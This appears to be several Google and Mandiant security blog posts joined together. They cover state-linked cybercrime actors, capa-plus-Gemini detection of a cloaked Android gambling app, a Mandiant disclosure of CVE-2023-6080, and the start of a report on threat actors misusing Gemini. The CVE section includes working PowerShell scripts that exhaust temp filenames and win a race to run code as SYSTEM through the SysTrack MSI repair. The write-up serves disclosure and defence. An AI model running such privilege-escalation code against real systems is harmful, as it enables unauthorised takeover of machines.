UAC-0098 historically delivered the IcedID banking trojan, leading to human-operated ransomware attacks, and GTIG assesses that the group previously acted as an initial access broker for various ransomware groups including CONTI and Quantum. In early 2022, however, the actor shifted its focus to Ukrainian entities in the government and hospitality sectors as well as European humanitarian and nonprofit organizations. 

Chinese-Language Operator Supports Espionage Goals  UNC5174 ("Uteus")

UNC5174 uses the "Uteus" hacktivist persona who has claimed to be affiliated with China's Ministry of State Security, working as an access broker and possible contractor who conducts for-profit intrusions. UNC5174 has weaponized multiple vulnerabilities soon after they were publicly announced, attempting to compromise numerous devices before they could be patched. For example, in February 2024, UNC5174 was observed exploiting CVE-2024-1709 in ConnectWise ScreenConnect to compromise hundreds of institutions primarily in the US and Canada, and in April 2024, GTIG confirmed UNC5174 had weaponized CVE-2024-3400 in an attempt to exploit Palo Alto Network's (PAN's) GlobalProtect appliances. In both cases, multiple China-nexus clusters were identified leveraging the exploits, underscoring how UNC5174 may enable additional operators.

Hybrid Groups Enable Cheap Capabilities

Another form of financially motivated activity supporting state goals are groups whose main mission may be state-sponsored espionage are, either tacitly or explicitly, allowed to conduct financially motivated operations to supplement their income. This can allow a government to offset direct costs that would be required to maintain groups with robust capabilities. 

Moonlighting Among Chinese Contractors  APT41

APT41 is a prolific cyber operator working out of the People's Republic of China and most likely a contractor for the Ministry of State Security. In addition to state-sponsored espionage campaigns against a wide array of industries, APT41 has a long history of conducting financially motivated operations. The group's cybercrime activity has mostly focused on the video game sector, including ransomware deployment. APT 41 has also enabled other Chinese espionage groups, with digital certificates stolen by APT41 later employed by other Chinese groups. APT41's cybercrime has continued since GTIG's 2019 report, with the United States Secret Service attributing an operation that stole millions in COVID relief funds to APT41, and GTIG identifying an operation targeting state and local governments.

Iranian Groups Deploy Ransomware for Disruption and Profit

Over the past several years, GTIG has observed Iranian espionage groups conducting ransomware operations and disruptive hack-and-leak operations. Although much of this activity is likely primarily driven by disruptive intent, some actors working on behalf of the Iranian government may also be seeking ways to monetize stolen data for personal gain, and Iran's declining economic climate may serve as an impetus for this activity.

UNC757 

In August 2024, the US Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Department of Defense Cybercrime Center (DC3) released a joint advisory indicating that a group of Iran-based cyber actors known as UNC757 collaborated with ransomware affiliates including NoEscape, Ransomhouse, and ALPHV to gain network access to organizations across various sectors and then help the affiliates deploy ransomware for a percentage of the profits. The advisory further indicated that the group stole data from targeted networks likely in support of the Iranian government, and their ransomware operations were likely not sanctioned by the Government of Iran. 

GTIG is unable to independently corroborate UNC757's reported collaboration with ransomware affiliates. However, the group has historical, suspected ties to the persona "nanash" that posted an advertisement in mid-2020 on a cybercrime forum claiming to have access to various networks, as well as hack-and-leak operations associated with the PAY2KEY ransomware and corresponding persona that targeted Israeli firms. 

Examples of Dual Motive (Financial Gain and Espionage)

In multiple incidents, individuals who have conducted cyber intrusions on behalf of the Iranian government have also been identified conducting financially motivated intrusion. 

• A 2020 US Department of Justice indictment indicated that two Iranian nationals conducted cyber intrusion operations targeting data "pertaining to national security, foreign policy intelligence, non-military nuclear information, aerospace data, human rights activist information, victim financial information and personally identifiable information, and intellectual property, including unpublished scientific research." The intrusions in some cases were conducted at the behest of the Iranian government, while in other instances, the defendants sold hacked data for financial gain. 

• In 2017, the US DoJ indicted an Iranian national who attempted to extort HBO by threatening to release stolen content. The individual had previously worked on behalf of the Iranian military to conduct cyber operations targeting military and nuclear software systems and Israeli infrastructure. 

DPRK Cyber Threat Actors Conduct Financially Motivated Operations to Generate Revenue for Regime, Fund Espionage Campaigns

Financially motivated operations are broadly prevalent among threat actors linked to the Democratic People's Republic of Korea (DPRK). These include groups focused on generating revenue for the regime as well as those that use the illicit funds to support their intelligence-gathering efforts. Cybercrime focuses on the cryptocurrency sector and blockchain-related platforms, leveraging tactics including but not limited to the creation and deployment of malicious applications posing as cryptocurrency trading platforms and the airdropping of malicious non-fungible tokens (NFTs) that redirect the user to wallet-stealing phishing websites. A March 2024 United Nations (UN) report estimated North Korean cryptocurrency theft between 2017 and 2023 at approximately $3 billion. 

APT38

APT38, a financially motivated group aligned with the Reconnaissance General Bureau (RGB), was responsible for the attempted theft of vast sums of money from institutions worldwide, including via compromises targeting SWIFT systems. Public reporting has associated the group with the use of money mules and casinos to withdraw and launder funds from fraudulent ATM and SWIFT transactions. In publicly reported heists alone, APT38's attempted thefts from financial institutions totaled over $1.1 billion USD, and by conservative estimates, successful operations have amounted to over $100 million USD. The group has also deployed destructive malware against target networks to render them inoperable following theft operations. While APT38 now appears to be defunct, we have observed evidence of its operators regrouping into other clusters, including those heavily targeting cryptocurrency and blockchain-related entities and other financials. 

UNC1069 (CryptoCore), UNC4899 (TraderTraitor)

Limited indicators suggest that threat clusters GTIG tracks as UNC1069 (publicly referred to as CryptoCore) and UNC4899 (also reported as TraderTraitor) are successors to the now-defunct APT38. These clusters focus on financial gain, primarily by targeting cryptocurrency and blockchain entities. In December 2024, a joint statement released by the US FBI, DC3, and National Police Agency of Japan (NPA) reported on TraderTraitor's theft of cryptocurrency then valued at $308 million USD from a Japan-based company.

APT43 (Kimsuky)

APT43, a prolific cyber actor whose collection requirements align with the mission of the RGB, funds itself through cybercrime operations to support its primary mission of collecting strategic intelligence, in contrast to groups focused primarily on revenue generation like APT38. While the group's espionage targeting is broad, it has demonstrated a particular interest in foreign policy and nuclear security, leveraging moderately sophisticated technical capabilities coupled with aggressive social engineering tactics against government organizations, academia, and think tanks. Meanwhile, APT43's financially motivated operations focus on stealing and laundering cryptocurrency to buy operational infrastructure. 

UNC3782

UNC3782, a suspected North Korean threat actor active since at least 2022, conducts both financial crime operations against the cryptocurrency sector and espionage activity, including the targeting of South Korean organizations attempting to combat cryptocurrency-related crimes, such as law firms and related government and media entities. UNC3782 has targeted users on cryptocurrency platforms including Ethereum, Bitcoin, Arbitrum, Binance Smart Chain, Cronos, Polygon, TRON, and Solana; Solana in particular constitutes a target-rich environment for criminal actors due to the platform's rapid growth. 

APT45 (Andariel)

APT45, a North Korean cyber operator active since at least 2009, has conducted espionage operations focusing on government, defense, nuclear, and healthcare and pharmaceutical entities. The group has also expanded its remit to financially motivated operations, and we suspect that it engaged in the development of ransomware, distinguishing it from other DPRK-nexus actors. 

DPRK IT Workers 

DPRK IT workers pose as non-North Korean nationals seeking employment at a wide range of organizations globally to generate revenue for the North Korean regime, enabling it to evade sanctions and fund its weapons of mass destruction (WMD) and ballistic missiles programs. IT workers have also increasingly leveraged their privileged access at employer organizations to engage in or enable malicious intrusion activity and, in some cases, extort those organizations with threats of data leaks or sales of proprietary company information following the termination of their employment.,

While DPRK IT worker operations are widely reported to target US companies, they have increasingly expanded to Europe and other parts of the world. Tactics to evade detection include the use of front companies and services of "facilitators," non-North Korean individuals who provide services such as money and/or cryptocurrency laundering, assistance during the hiring process, and receiving and hosting company laptops to enable the workers remote access in exchange for a percentage of the workers' incomes.

A Comprehensive Approach is Required

We believe tackling this challenge will require a new and stronger approach recognizing the cybercriminal threat as a national security priority requiring international cooperation. While some welcome enhancements have been made in recent years, more must—and can—be done. The structure of the cybercrime ecosystem makes it particularly resilient to takedowns. Financially motivated actors tend to specialize in a single facet of cybercrime and regularly work with others to accomplish bigger schemes. While some actors may repeatedly team up with particular partners, actors regularly have multiple suppliers (or customers) for a given service. 

If a single ransomware-as-a-service provider is taken down, many others are already in place to fill in the gap that has been created. This resilient ecosystem means that while individual takedowns can disrupt particular operations and create temporary inconveniences for cybercriminals, these methods need to be paired with wide-ranging efforts to improve defense and crack down on these criminals' ability to carry out their operations. We urge policymakers to consider taking a number of steps:

• Demonstrably elevate cybercrime as a national security priority: Governments must recognize cybercrime as a pernicious national security threat and allocate resources accordingly. This includes prioritizing intelligence collection and analysis on cybercriminal organizations, enhancing law enforcement capacity to investigate and prosecute cybercrime, and fostering international cooperation to dismantle these transnational networks.
• Strengthen cybersecurity defenses: Policymakers should promote the adoption of robust cybersecurity measures across all sectors, particularly critical infrastructure. This includes incentivizing the implementation of security best practices, investing in research and development of advanced security technologies, enabling digital modernization and uptake of new technologies that can advantage defenders, and supporting initiatives that enhance the resilience of digital systems against attacks and related deceptive practices.
• Disrupt the cybercrime ecosystem: Targeted efforts are needed to disrupt the cybercrime ecosystem by targeting key enablers such as malware developers, bulletproof hosting providers, and financial intermediaries such as cryptocurrency exchanges. This requires a combination of legal, technical, and financial measures to dismantle the infrastructure that supports cybercriminal operations and coordinated international efforts to enable the same.
• Enhance international cooperation: cybercrime transcends national borders, necessitating strong international collaboration to effectively combat this threat. Policymakers should prioritize and resource international frameworks for cyber threat information sharing, joint investigations, and coordinated takedowns of cybercriminal networks, including by actively contributing to the strengthening of international organizations and initiatives dedicated to combating cybercrime, such as the Global Anti-Scams Alliance (GASA). They should also prioritize collective efforts to publicly decry malicious cyber activity through joint public attribution and coordinated sanctions, where appropriate. 
• Empower individuals and businesses: Raising awareness about cyber threats and promoting cybersecurity education is crucial to building a resilient society. Policymakers should support initiatives that educate individuals and businesses about online safety, encourage the adoption of secure practices, empower service providers to take action against cybercriminals including through enabling legislation, and provide resources for reporting and recovering from cyberattacks.
• Elevate strong private sector security practices: Ransomware and other forms of cybercrime predominantly exploit insecure, often legacy technology architectures. Policymakers should consider steps to prioritize technology transformation, including the adoption of technologies/products with a strong security track record; diversifying vendors to mitigate risk resulting from overreliance on a single technology; and requiring interoperability across the technology stack.

aside_block

<ListValue: [StructValue([('title', 'The Evolution of Cybercrime'), ('body', <wagtail.rich_text.RichText object at 0x3e888a3d9a00>), ('btn_text', 'Watch now'), ('href', 'https://www.youtube.com/watch?v=NtANWZPHUak'), ('image', <GAEImage: evolution of cybercrime>)])]>

About the Authors

Google Threat Intelligence Group brings together the Mandiant Intelligence and Threat Analysis Group (TAG) teams, and focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed attackers, targeted 0-day exploits, coordinated information operations (IO), and serious cybercrime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Mobile devices have become the go-to for daily tasks like online banking, healthcare management, and personal photo storage, making them prime targets for malicious actors seeking to exploit valuable information. Bad actors often turn to publishing and distributing malware via apps as a lucrative channel for generating illegal and/or unethical profits. 

Android takes a multi-layered approach to combating malware to help keep users safe (more later in the post), but while we continuously strengthen our defenses against malware, threat actors are persistently updating their malware to evade detection. Malware developers used to complete their entire malicious aggression using the common Android app development toolkits in Java, which is easier to detect by reversing the Java bytecode. In recent years, malware developers are increasing the use of native code to obfuscate some of the critical malware behaviors and putting their hopes on obscuration in compiled and symbol-stripped Executable and Linkable Format (ELF) files, which can be more difficult and time-consuming to reveal their true intentions.

To combat these new challenges, Android Security and Privacy Team is partnering with Mandiant FLARE to extend the open-source binary analysis tool capa to analyze native ARM ELF files targeting Android. Together, we improved existing and developed new capa rules to detect capabilities observed in Android malware, used the capa rule matches to highlight the highly suspicious code in native files, and prompted Gemini with the highlighted code behaviors for summarization to enhance our review processes for faster decisions.

In this blog post, we will describe how we leverage capa behavior-detection capabilities and state-of-art Gemini summarization by:

• Showcasing a malware sample that used various anti-analysis tricks to evade detections

• Explaining how our existing and new capa rules identify and highlighted those behaviors

• Presenting how Gemini summarizes the highlighted code for security reviews

An Illegal Gambling App Under a Music App Façade

Google Play Store ensures all published apps conform to local laws and regulations. This includes gambling apps, which are prohibited or require licenses in some areas. Developing and distributing illegal gambling apps in such areas can generate significant illicit profits, which sometimes is associated with organized crimes. To bypass Google Play Store's security-screening procedures, some gambling apps disguise themselves with harmless façades like music or casual games. These apps only reveal their gambling portals in certain geographic markets using various anti-analysis tricks. Unfortunately, dynamic analysis, such as emulation and sandbox detonation, relies on specific device configurations, and threat actors keep trying different combinations of settings to evade our detections. It's an ongoing game of cat and mouse!

In response, the Android Security and Privacy Team has evolved static analysis techniques, such as those that evaluate the behavior of a complete program and all its conditional logic. So, let's describe an app that violated Google Play Store rules and show how we can better detect and block other apps like it.

We received reports of a music app opening gambling websites for users in certain geographical areas. It used an interesting trick of hiding key behaviors in a native ELF file that has most symbols (except the exported ones) stripped and is loaded at runtime to evade detection.

When we decompiled the app into Java source code, using a tool like JEB Decompiler, we found that the app has a song-playing functionality as shown in "MainActivity" of Figure 1. This looks like benign behavior and is fully within the limits of Google Play Store policies.

However, there was a small region of initialization code that loads an ELF file as soon as the app is initialized when calling the onCreate function, as shown in com.x.y.z class of Figure 1. To fully understand the behavior of the entire app, we also had to reverse engineer the ELF file, which requires a completely different toolset.

Figure 1: How the app applies anti-analysis techniques

Using a tool like Ghidra, we decompiled the ARM64 ELF file into C source code and found that this app estimates the user's geographic location using timezone information ("Code Section 1" in Figure 1). The code implements a loop that compares the user's timezone with a list of target regions ("Data Section" in Figure 1).

If the user's location matches a value in the list ("Data Section" in Figure 1), this malware:

1. Downloads an encrypted DEX file from a remote server ("Code Section 2" in Figure 1)

2. Decrypts the downloaded DEX file ("Code Section 3" in Figure 1)

3. Loads the decrypted DEX file into memory ("Code Section 4" in Figure 1)

The loaded DEX file uses further server-side cloaking techniques and finally loads a gambling website (Figure 3) to the app users. Compared to the app icon in Figure 2, it is an obvious mismatch of the app's advertised functionality.

Figure 2: The app icon as published

Figure 3: The loaded gambling website in app

While there are many detection technologies, such as YARA, available for identifying malware distributed in ELF files, they are less resilient to app updates or variations introduced by threat actors. Fortunately, the Android Security and Privacy Team has developed new techniques for detecting malicious Android apps by inspecting their native ELF components. For example, in the gambling app in Figure 3, there are many API calls dynamically resolved via the Java Native Interface (JNI) that interact with the Android runtime. Our detection systems recognized these cross-runtime interactions and reason about their intent. We've enumerated behaviors commonly seen in Android malware, such as making ptrace API calls, extracting device information, downloading code from remote servers to local storage, and making various cryptographic operations via JNI, turning them into capa detections we can use to identify and block Google Play Store threats.

Let's now talk a little more about how this works.

Android capa Rules

capa is a tool that detects capabilities in executable files. You run it against a compiled program, and it tells you what it thinks the program can do. For example, capa might suggest that a file is a backdoor, is capable of installing services, or relies on HTTP to communicate.

Mandiant FLARE extended capa to support BinExport2, an architecture agnostic representation of disassembled programs. This enables capa to match capabilities for additional architectures and file formats, such as those supported by Ghidra and its BinExport2 plugin, with an initial focus on ARM64 ELF files. The Android Security and Privacy Team then created new capa rules focused specifically on detecting capabilities observed in ARM64 ELF files used by various Android malware samples. These proprietary rules alongside capa's open-source rules are used to detect malware capabilities as part of internal Android malware analysis pipelines.

Referring back to the gambling app in Figure 3, the following Google proprietary rules and open-source capa rules matched the malicious functions performing cloaking techniques for further inspection.

Proprietary rules:

• Make ptrace API calls

• Extract device configuration information via JNI on Android

• Extract timezone via JNI on Android

• Encode or decode data using Base64 via JNI on Android

• Encrypt or decrypt data using Cipher API via JNI on Android

Open-source capa rules:

• Create or open file

• Write file on Linux

• Read file on Linux

• Check file permission on Linux

• Create thread

• Reference Base64 string

Instead of browsing hundreds of thousands lines of obfuscated code, our analysts were able to quickly identify the evidence of the app's wrong-doings using the function addresses matching those rules and enforced on the app.

Gemini Summaries of capa Rule Matches

Safeguarding the Android ecosystem, our Android malware analysis pipelines scan millions of ELF files in-depth every day, each one containing thousands to millions of lines in their decompiled codes. On top of the fast-evolving Gemini capabilities in malware analysis, capa rules are able to select the most interesting code for Gemini summarization, with sharpened focus on a much smaller set of the most suspicious functions.

Figure 4: How capa rules and Gemini help our reviewers and automation

We asked Gemini to summarize the functions matched on capa rules from the earlier gambling app with the following prompt:

You are a world-class Android reverse engineer with malware analysis specialities. You are given a few functions from an ARM/AArch64 ELF file as part of an Android App, with their decompiled pseudo-C codes. You need to analyze these functions to

        1. summarize what these functions try to achieve

        2. decide whether any of them has code/behavior patterns that would be found in Android malware.

{some more instructions…}

…

These functions are decompiled by Ghidra into pseudo-C format as follows:

[function_1 content]

[function_2 content]

…

In your response, please give your overall verdict assessing the risk level using HIGH / MEDIUM / LOW in the beginning, and explain your rationale for each potential malicious behavior.

Gemini responded with the following suggestions:

VERDICT: HIGH RISK

The provided Android application code exhibits several concerning behaviors strongly indicative of malicious intent. The risk level is assessed as HIGH due to the presence of multiple red flags consistent with sophisticated Android malware techniques. The analysis below details the specific malicious behavior patterns observed:

1. Dynamic Code Loading (HIGH): The function comeOn demonstrates a pattern of dynamically loading and executing code. The app fetches files (potentially DEX or ELF) using getCacheFilePath and downloadFile, then attempts to execute them using getDexClassLoader. This is a classic technique for delivering malicious payloads after initial installation, allowing the malware to easily update its functionality and evade static analysis. The use of custom decryption (decryptFile, decryptAES) further enhances the obfuscation and anti-analysis capabilities, indicating a deliberate attempt to conceal the loaded code's true nature.

2. Custom Decryption and Execution (HIGH): The decryptFile function performs custom decryption of a file, likely to obfuscate the malicious payload. The decryption utilizes an AES algorithm, which adds a layer of complexity to the reversal process. In combination with the dynamic loading, this points strongly towards a sophisticated malware strategy. The decrypted file is then written to disk (fopen, fwrite) and executed using a custom class loader.

3. Time Cloaking (MEDIUM): thread_function incorporates time-based cloaking. It checks the user's timezone (getTimeZoneInfo) and potentially alters behavior if the timezone is not "America/Sao Paulo".  More importantly, it appends a timestamp ("?time=" + current time) to a string used for downloading further files. This suggests an attempt to evade detection by changing behavior based on the device's time and potentially making analysis more challenging by dynamically creating different network requests.

4. Network Cloaking (MEDIUM): thread_function exhibits additional cloaking behavior, though details are limited. The function interacts with network resources to download additional resources, showing its network-active nature. The data used in network operations are likely obfuscated through string manipulation and URL obfuscation, making identification and analysis difficult. The precise cloaking mechanisms used are not fully clear from the decompiled code, but the presence of this behavior is a significant concern.

5. Obfuscation Techniques (HIGH): The entire codebase uses extensive obfuscation techniques. The code is heavily reliant on complex data structures (deques, hash tables, trees) and intricate control flow. Function and variable names are nonsensical, hindering analysis. The use of multiple layers of indirection, combined with aggressive heap memory management (operator_new, operator_delete), makes the code difficult to understand and analyze. These obfuscation methods are typical of malware aiming to evade reverse engineering.

6. Anti-Debugging/Anti-Analysis Techniques (HIGH): The JNI_OnLoad function includes a call to ptrace(PTRACE_TRACEME, 0, 0, 0). This is a clear indicator of an attempt to detect debugging or analysis tools. If a debugger is attached, this function's behavior will likely differ; it could crash, stall the execution, or even hide its malicious code.

Conclusion:

The combination of dynamic code loading, custom decryption, sophisticated obfuscation, and anti-debugging techniques creates a high likelihood of malicious activity. The incomplete understanding of the role of several custom functions further aggravates the risk. The app's behavior is heavily contingent on received data and time-sensitive factors, raising serious concerns about its potential for wide-ranging malicious acts. Immediate action should be taken to contain and investigate this application further. A detailed sandbox analysis is critical to identify any network communications, file system manipulation, or other abusive activities.

As seen in the Gemini output, the Android ELF behaviors are explained clearly on the functions matched on capa rules.

In this particular example, Gemini helped to:

• Accentuate the function call sequences to perform dynamic code loading, where our analysts can easily inspect the key function calls getCacheFilePath and getDexClassLoader

• Identify the timezone extraction with the additional URL parameter hint, where our analysts may try to probe the malicious payload quickly and accurately

• Describe more potential suspicious behaviors (e.g. getDexClassLoader JNI call, URL obfuscation) for further rule-writing ideas

capa rules in Android together with Gemini summarization shows great potential for further malware detection with more advanced techniques. Our analysts are closely monitoring the malware trends and techniques in the market and writing up-to-date capa rules to catch the bad actors in the wild.

Android's Multi-Layered Security Approach

Android’s ever-evolving, multi-layered security approach includes integrating advanced features and working with developers and device implementers to keep the Android platform and ecosystem safe. This includes, but is not limited to:

• Advanced built-in protections: Google Play Protect automatically scans every app on Android devices with Google Play Services, no matter the download source. This built-in protection, enabled by default, provides crucial security against malware and unwanted software. Google Play Protect scans more than 200 billion apps daily and performs real-time scanning at the code-level on novel apps to combat emerging and hidden threats, like polymorphic malware. In 2024, Google Play Protect’s real-time scanning identified more than 13 million new malicious apps from outside Google Play. 

• Google Play and developer protections from malware: To create a trusted experience for everyone on Google Play, we use our SAFE principles as a guide, incorporating multi-layered protections that are always evolving to help keep Google Play safe. These protections start with the developers themselves, who play a crucial role in building secure apps. We provide developers with best-in-class tools, best practices, and on-demand training resources for building safe, high-quality apps. Every app undergoes rigorous review and testing, with only approved apps allowed to appear in the Play Store. Before a user downloads an app from Play, users can explore its user reviews, ratings, and Data safety section on Google Play to help them make an informed decision. 

• Engagement with the security research community: Google works closely with the security community on multiple levels, including the App Defense Alliance, to advance app safety standards. Android also collaborates with Google Threat Intelligence Group (GTIG) to address emerging threats and safeguard Android users worldwide.

Equipped with the fast-evolving Gemini, our analysts are able to spend less time on those sophisticated samples, minimising the exposure for malicious apps and ensuring the safety of Android ecosystems.

Acknowledgement

Special thanks to Willi Ballenthin, Yannis Gasparis, Mike Hunhoff, and Moritz Raabe for their support.

Written By: Jacob Paullus, Daniel McNamara, Jake Rawlins, Steven Karschnia

Executive Summary

• Mandiant exploited flaws in the Microsoft Software Installer (MSI) repair action of Lakeside Software's SysTrack installer to obtain arbitrary code execution.

• An attacker with low-privilege access to a system running the vulnerable version of SysTrack could escalate privileges locally.

• Mandiant responsibly disclosed this vulnerability to Lakeside Software, and the issue has been addressed in version 11.0.

Introduction

Building upon the insights shared in a previous Mandiant blog post, Escalating Privileges via Third-Party Windows Installers, this case study explores the ongoing challenge of securing third-party Windows installers. These vulnerabilities are rooted in insecure coding practices when creating Microsoft Software Installer (MSI) Custom Actions and can be caused by references to missing files, broken shortcuts, or insecure folder permissions. These oversights create gaps that inadvertently allow attackers the ability to escalate privileges.

As covered in our previous blog post, after software is installed with an MSI file, Windows caches the MSI file in the C:\Windows\Installer folder for later use. This allows users on the system to access and use the "repair" feature, which is intended to address various issues that may be impacting the installed software. During execution of an MSI repair, several operations (such as file creation or execution) may be triggered from an NT AUTHORITY\SYSTEM context, even if initiated by a low-privilege user, thereby creating privilege escalation opportunities.

This blog post specifically focuses on the discovery and exploitation of CVE-2023-6080, a local privilege escalation vulnerability that Mandiant identified in Lakeside Software's SysTrack Agent version 10.7.8.

Exploiting the SysTrack Installer

Mandiant began by using Microsoft's Process Monitor (ProcMon) to analyze and review file operations executed during the repair process of SysTrack's MSI. While running the repair process as a low-privileged user, Mandiant observed file creation and execution within the user's %TEMP% folder from MSIExec.exe.

Figure 1: MSIExec.exe copying and executing .tmp file in user's %TEMP% folder

Each time Mandiant ran the repair functionality, MSIExec.exe wrote a new .tmp file to the %TEMP% folder using a formula-based name, and then executed it. Mandiant discovered, through dynamic analysis of the installer, that the name generated by the repair function would consist of the string "wac" followed by four randomly chosen hex characters (0-9, A-F). With this naming scheme, there were 65,535 possible filename options.

Due to the %TEMP% folder being writable by a low-privilege user, Mandiant tested the behavior of the repair tool when all possible filenames already existed within the %TEMP% folder. Mandiant created a PowerShell script to copy an arbitrary test executable to each possible file name in the range of wac0000.tmp to wacFFFF.tmp.

# Path to the permutations file $csvFilePath = ‘.\permutations.csv’ # Path to the executable $exePath = ‘.\test.exe’ # Target directory (using the system’s temp directory) $targetDirectory = [System.IO.Path]::GetTempPath() # Read the csv file content $csvContent = Get-Content -Path $csvFilePath # Split the content into individual values $values = $csvContent -split “,” # Loop through each value and copy the exe to the target directory with the new name Foreach ($value in $values) { $newFilePath = Join-Path -Path $targetDirectory -ChildPath ($value + “.tmp”) Copy-Item -Path $exePath -Destination $newFilePath } Write-Output “Copy operation completed to $targetDirectory”

Figure 2: Creating all possible .tmp files in %TEMP%

Figure 3: Excerpt of .tmp files created in %TEMP%

After filling the previously identified namespace, Mandiant reran the MSI repair function to observe its subsequent behavior. Upon review of the ProcMon output, Mandiant observed that when the namespace was filled, the application would failover to an incrementing filename pattern. The pattern began with wac1.tmp and incremented the number each time in a predictable pattern, if the previous file existed. To prove this theory, Mandiant manually created wac1.tmp and wac2.tmp, then observed the MSI repair action in ProcMon. When running the MSI repair function, the resulting filename was wac3.tmp.

Figure 4: MSIExec.exe writing and executing a predicted .tmp file

Additionally, Mandiant observed that there was a small delay between the file write action and the file execution action, which could potentially result in a race condition vulnerability. Since Mandiant could now force the program to use a predetermined filename, Mandiant wrote another PowerShell script designed to attempt to win the race condition by copying a file (test.exe) to the %TEMP% folder, using the predicted filename, between the file write and execution in order to overwrite the file created by MSIExec.exe. In this test, test.exe was a simple proof-of-concept executable that would start cmd.exe.

while ($true) { if (Test-Path -Path "C:\Users\USER\AppData\Local\Temp\wac3.tmp") { Copy-Item -Path "C:\Users\USER\Desktop\test.exe" -Destination "C:\Users\USER\AppData\Local\Temp\wac3.tmp" -Force } }

Figure 5: PowerShell race condition script to copy arbitrary file into %TEMP%

With the %TEMP% folder prepared with the wac1.tmp and wac2.tmp files created, Mandiant ran both the PowerShell script and MSI repair action targeting wac3.tmp. With the race condition script running, execution of the repair action resulted in the test.exe file overwriting the intended binary and subsequently being executed by MSIExec.exe, opening cmd.exe as NT AUTHORITY\SYSTEM.

Figure 6: Obtaining NT\ AUTHORITY SYSTEM command prompt

Defensive Considerations

As discussed in Mandiant's previous blog post, misconfigured Custom Actions can be trivial to find and exploit, making them a significant security risk for organizations. It is essential for software developers to follow secure coding practices and review their implemented Custom Actions to prevent attackers from hijacking high-privilege operations triggered by the MSI repair functionality. Refer to the original blog post for general best practices when configuring Custom Actions. In discovery of CVE-2023-6080, Mandiant identified several misconfigurations and oversights that allowed for privilege escalation to NT AUTHORITY\SYSTEM.

The SysTrack MSI performed file operations including creation and execution in the user's %TEMP% folder, which provides a low-privilege user the opportunity to alter files being actively used in a high-privilege context. Software developers should keep folder permissions in mind and ensure all privileged file operations are performed from folders that are appropriately secured. This can include altering the read/write permissions for the folder, or using built-in folders such as C:\Program Files or C:\Program Files (x86), which are inherently protected from low-privilege users.

Additionally, the software's filename generation schema included a failover mechanism that allowed an attacker to force the application into using a predetermined filename. When using randomized filenames, developers should use a sufficiently large length to ensure that an attacker cannot exhaust all possible filenames and force the application into unexpected behavior. In this case, knowing the target filename before execution made it significantly easier to beat the race condition, as opposed to dynamically identifying and replacing the target file between the time of its creation by MSIExec.exe and the time of its execution.

Something security professionals must also consider is the safety of the programs running on corporate machines. Many approved applications may inadvertently contain security vulnerabilities that increase the risk in our environments. Mandiant recommends that companies consider auditing the security of their individual endpoints to ensure that defense in depth is maintained at an organizational level. Furthermore, where possible, companies should monitor the spawning of administrative shells such as cmd.exe and powershell.exe in an elevated context to alert on possible privilege escalation attempts.

A Final Word

Domain privilege escalation is often the focus of security vendors and penetration tests, but it is not the only avenue for privilege escalation or compromise of data integrity in a corporate environment. Compromise of integrity on a single system can allow an attacker to mount further attacks throughout the network; for example, the Network Access Account used by SCCM can be compromised through a single workstation and when misconfigured can be used to escalate privileges within the domain and pivot to additional systems within the network.

Mandiant offers dedicated endpoint security assessments, during which customer endpoints are tested from multiple contexts, including the perspective of an adversary with low-privilege access attempting to escalate privileges. For more information about Mandiant's technical consulting services, including comprehensive endpoint security assessments, visit our website.

We would like to extend a special thanks to Andrew Oliveau, who was a member of the testing team that discovered this vulnerability during his time at Mandiant.

CVE-2023-6080 Disclosure Timeline

• June 13, 2024 - Vulnerability reported to Lakeside Software

• July 1, 2024 - Lakeside Software confirmed the vulnerability

• August 7, 2024 - Confirmed vulnerability fixed in version 11.0

Rapid advancements in artificial intelligence (AI) are unlocking new possibilities for the way we work and accelerating innovation in science, technology, and beyond. In cybersecurity, AI is poised to transform digital defense, empowering defenders and enhancing our collective security. Large language models (LLMs) open new possibilities for defenders, from sifting through complex telemetry to secure coding, vulnerability discovery, and streamlining operations. However, some of these same AI capabilities are also available to attackers, leading to understandable anxieties about the potential for AI to be misused for malicious purposes. 

Much of the current discourse around cyber threat actors' misuse of AI is confined to theoretical research. While these studies demonstrate the potential for malicious exploitation of AI, they don't necessarily reflect the reality of how AI is currently being used by threat actors in the wild. To bridge this gap, we are sharing a comprehensive analysis of how threat actors interacted with Google's AI-powered assistant, Gemini. Our analysis was grounded by the expertise of Google's Threat Intelligence Group (GTIG), which combines decades of experience tracking threat actors on the front lines and protecting Google, our users, and our customers from government-backed attackers, targeted 0-day exploits, coordinated information operations (IO), and serious cyber crime networks.

We believe the private sector, governments, educational institutions, and other stakeholders must work together to maximize AI's benefits while also reducing the risks of abuse. At Google, we are committed to developing responsible AI guided by our principles, and we share resources and best practices to enable responsible AI development across the industry. We continuously improve our AI models to make them less susceptible to misuse, and we apply our intelligence to improve Google's defenses and protect users from cyber threat activity. We also proactively disrupt malicious activity to protect our users and help make the internet safer. We share our findings with the security community to raise awareness and enable stronger protections for all. 

aside_block

<ListValue: [StructValue([('title', 'Adversarial Misuse of Generative AI'), ('body', <wagtail.rich_text.RichText object at 0x3e888bf4adc0>), ('btn_text', 'Download now'), ('href', 'https://services.google.com/fh/files/misc/adversarial-misuse-generative-ai.pdf'), ('image', <GAEImage: adversarial gen AI cover>)])]>

Executive Summary

Google Threat Intelligence Group (GTIG) is committed to tracking and protecting against cyber threat activity. We relentlessly defend Google, our users, and our customers by building the most complete threat picture to disrupt adversaries. As part of that effort, we investigate activity associated with threat actors to protect against malicious activity, including the misuse of generative AI or LLMs. 

This report shares our findings on government-backed threat actor use of the Gemini web application. The report encompasses new findings across advanced persistent threat (APT) and coordinated information operations (IO) actors tracked by GTIG. By using a mix of analyst review and LLM-assisted analysis, we investigated prompts by APT and IO threat actors who attempted to misuse Gemini.

Advanced Persistent Threat (APT) refers to government-backed hacking activity, including cyber espionage and destructive computer network attacks.  

Information Operations (IO) attempt to influence online audiences in a deceptive, coordinated manner. Examples include sockpuppet accounts and comment brigading. 

GTIG takes a holistic, intelligence-driven approach to detecting and disrupting threat activity, and our understanding of government-backed threat actors and their campaigns provides the needed context to identify threat enabling activity. We use a wide variety of technical signals to track government-backed threat actors and their infrastructure, and we are able to correlate those signals with activity on our platforms to protect Google and our users. By tracking this activity, we’re able to leverage our insights to counter threats across Google platforms, including disrupting the activity of threat actors who have misused Gemini. We also actively share our insights with the public to raise awareness and enable stronger protections across the wider ecosystem.

